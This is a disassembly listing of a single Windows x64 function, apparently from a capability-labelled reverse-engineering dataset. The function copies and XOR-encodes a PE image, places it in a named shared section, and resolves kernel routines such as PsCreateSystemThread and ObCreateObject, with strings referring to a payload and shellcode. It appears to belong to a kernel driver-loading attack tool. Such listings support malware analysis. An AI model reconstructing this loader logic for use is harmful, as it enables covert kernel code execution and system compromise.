Function at 0x1400cf374
Capabilities:
Access pe header
Map section object

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x1f0
mov ecx, dword [rcx + 8]
xor r14d, r14d
and qword [rbp - 0x60], r14
xor r15d, r15d
and qword [rbp - 0x50], r14
mov rsi, r9
and qword [rsp + 0x78], r14
mov edi, 0xc0000001
and qword [rbp - 0x68], r14
and qword [rdx], r14
and qword [r8], r14
mov dword [rsp + 0x70], r14d
sub ecx, 1
je 0x1400cf3ea
sub ecx, 1
je 0x1400cf3e3
cmp ecx, 1
jne 0x1400cf3ea
mov edx, 0x460
jmp 0x1400cf3ef
mov edx, 0x20
jmp 0x1400cf3ef
mov edx, Ordinal_41
mov rax, qword gs:[0x30]
mov r8, rdx
mov qword [rbp - 0x80], rdx
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
jne 0x1400cf426
lea rdx, str.____Error__payload_header_not_allocated_r_n
jmp 0x1400cf908
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x68]
call fcn.1400c92c8
mov edi, eax
test eax, eax
jns 0x1400cf44c
mov edx, eax
lea rcx, str.____Error__shared_section_SD_not_allocated
call fcn.1400ca314
jmp 0x1400cf912
lea rcx, [rbp - 0x78]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
je 0x1400cf473
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cannot_allocate_shared_section_UUID
call fcn.1400ca3e0
jmp 0x1400cf912
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edx, dword [rax + 0x50]
mov rax, qword gs:[0x30]
mov r12d, edx
mov dword [rbp - 0x58], edx
mov r8d, edx
mov qword [rbp - 0x40], rdx
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r15, rax
test rax, rax
je 0x1400cf901
mov r8d, r12d
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.___Resolving_kernel_import_for_input_driver_r_n
call fcn.1400c7d58
mov rcx, r15
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov r12, qword [rbp + 0x158]
mov r13, qword [rbp + 0x150]
cmp dword [rax + 0x84], 1
jbe 0x1400cf54d
mov edi, dword [rax + 0x90]
test rdi, rdi
je 0x1400cf54d
mov eax, dword [rdi + r15]
test eax, eax
jne 0x1400cf506
mov eax, dword [rdi + r15 + 0x10]
mov esi, eax
add rsi, r15
jmp 0x1400cf545
mov eax, dword [rdi + r15 + 0x10]
add rax, r15
mov qword [rbp - 0x48], rax
test rcx, rcx
js 0x1400cf527
lea r8, [r15 + 2]
add r8, rcx
jmp 0x1400cf52b
movzx r8d, cx
mov rdx, r13
mov rcx, r12
call fcn.1400c91c0
mov rdx, qword [rbp - 0x48]
mov qword [rdx + r14*8], rax
inc r14d
add rsi, 8
mov rcx, qword [rsi]
test rcx, rcx
jne 0x1400cf50d
movzx edx, byte [rbp - 0x6b]
lea rdi, [rbp + 0x20]
movzx r8d, byte [rbp - 0x6d]
xor eax, eax
movzx r9d, byte [rbp - 0x6e]
mov ecx, 0xc8
movzx r10d, byte [rbp - 0x6f]
movzx r11d, byte [rbp - 0x70]
movzx esi, word [rbp - 0x72]
movzx r14d, word [rbp - 0x74]
rep stosb byte [rdi], al
movzx ecx, byte [rbp - 0x6a]
movzx eax, byte [rbp - 0x69]
movzx edi, byte [rbp - 0x6c]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x60], ecx
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x58], edx
mov edx, 0x64
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x48], r8d
lea r8, str.BaseNamedObjects_08X__04X__04X__02X_02X__02X_02X_02X_02X_02X_02X
mov dword [rsp + 0x40], r9d
mov r9d, dword [rbp - 0x78]
mov dword [rsp + 0x38], r10d
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r14d
call fcn.1400c7e14
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x10]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rcx, qword [rbp + 0x140]
lea rax, [rbp + 0x10]
mov r14, qword [rbp - 0x80]
lea r9, [rbp - 0x38]
mov qword [rbp - 0x10], rax
lea r8, [rbp - 0x20]
mov rax, qword [rbp - 0x68]
xor esi, esi
mov qword [rbp], rax
mov edx, 0xf001f
mov rax, qword [rbp - 0x40]
add rax, 0xfff
mov qword [rsp + 0x30], rsi
add rax, r14
mov dword [rsp + 0x28], 0x8000000
and rax, 0xfffffffffffff000
mov dword [rbp - 0x20], gethostbyaddr
mov qword [rcx], rax
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x18], rsi
mov dword [rbp - 8], 0x40
mov qword [rbp + 8], rsi
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x38], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov edi, eax
test eax, eax
jns 0x1400cf674
lea rcx, str.____Error__cannot_create_shared_section
mov edx, eax
call fcn.1400ca314
mov r14d, esi
jmp 0x1400cf912
mov rcx, qword [rbp - 0x60]
lea rax, [rbp - 0x30]
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x78]
mov dword [rsp + 0x40], 0x100000
xor r9d, r9d
mov dword [rsp + 0x38], 2
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0x1000
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov edi, eax
test eax, eax
js 0x1400cf8f5
lea rcx, str.___Resolving_payload_import_r_n
call fcn.1400c7d58
mov rsi, qword [rbp + 0x130]
mov ecx, dword [rsi + 8]
sub ecx, 1
je 0x1400cf808
sub ecx, 1
je 0x1400cf7e7
cmp ecx, 1
jne 0x1400cf808
lea r8, str.IoDriverObjectType
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
mov qword [rbp + 0x140], rax
test rax, rax
je 0x1400cf8ec
lea r8, str.ObCreateObject
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
mov qword [rbp + 0x130], rax
test rax, rax
je 0x1400cf8ec
lea r8, str.ObInsertObject
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
mov qword [rbp - 0x48], rax
test rax, rax
je 0x1400cf8ec
lea r8, str.ObMakeTemporaryObject
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
mov qword [rbp - 0x80], rax
test rax, rax
je 0x1400cf8ec
lea r8, str.ZwMakeTemporaryObject
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
mov qword [rbp - 0x28], rax
test rax, rax
je 0x1400cf8ec
lea r8, str.ZwClose
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
mov rcx, rax
test rax, rax
je 0x1400cf8ec
mov rax, qword [rbp + 0x140]
mov qword [rbx + 0x18], rax
mov rax, qword [rbp + 0x130]
mov qword [rbx + 0x20], rax
mov rax, qword [rbp - 0x48]
mov qword [rbx + 0x28], rax
mov rax, qword [rbp - 0x80]
mov qword [rbx + 0x30], rax
mov rax, qword [rbp - 0x28]
mov qword [rbx + 0x38], rax
mov qword [rbx + 0x40], rcx
jmp 0x1400cf854
lea r8, str.ExQueueWorkItem
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
test rax, rax
je 0x1400cf8ec
mov qword [rbx + 0x18], rax
jmp 0x1400cf854
lea r8, str.ZwClose
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
mov qword [rbp + 0x140], rax
test rax, rax
je 0x1400cf8ec
lea r8, str.PsCreateSystemThread
mov rdx, r13
mov rcx, r12
call fcn.1400ccf2c
test rax, rax
je 0x1400cf8ec
mov qword [rbx + 0x18], rax
mov rax, qword [rbp + 0x140]
mov qword [rbx + 0x20], rax
mov r8d, dword [rbp - 0x58]
test r8d, r8d
je 0x1400cf872
mov eax, dword [rsi + 0xc]
mov edx, r8d
mov rcx, r15
xor byte [rcx], al
inc rcx
rol eax, 1
add edx, 0xffffffff
jne 0x1400cf866
mov dword [rbx], r8d
mov rdx, rbx
mov rcx, rsi
mov dword [rbx + 8], 0xc0000001
call fcn.1400cd098
test al, al
jne 0x1400cf8a3
lea rdx, str.____Error__cannot_store_additional_data_for_shellcode_r_n
mov ecx, 1
call fcn.1400c963c
mov r14d, dword [rsp + 0x70]
jmp 0x1400cf912
mov rcx, qword [rsp + 0x78]
mov r8, r14
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x78]
mov rdx, r15
mov r8, qword [rbp - 0x40]
add rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x78]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov rcx, qword [rbp + 0x138]
mov r14d, 1
mov rax, qword [rbp - 0x60]
mov qword [rcx], rax
jmp 0x1400cf912
lea rdx, str.____Error__resolving_additional_import_failed_r_n
jmp 0x1400cf892
lea rcx, str.____Error__shared_section_not_mapped
jmp 0x1400cf665
lea rdx, str.____Could_not_allocate_memory_for_image_r_n
mov ecx, 1
call fcn.1400c963c
mov ecx, edi
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test r15, r15
je 0x1400cf943
mov rax, qword gs:[0x30]
mov r8, r15
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp qword [rbp - 0x68], 0
je 0x1400cf967
mov rax, qword gs:[0x30]
xor edx, edx
mov r8, qword [rbp - 0x68]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test rbx, rbx
je 0x1400cf988
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp qword [rbp - 0x50], 0
je 0x1400cf9ac
mov rax, qword gs:[0x30]
xor edx, edx
mov r8, qword [rbp - 0x50]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test r14d, r14d
jne 0x1400cf9d4
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x1400cf9c5
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x1400cf9d4
call qword [sym.imp.ntdll.dll_NtClose]
mov rbx, qword [rsp + 0x248]
mov eax, r14d
add rsp, 0x1f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret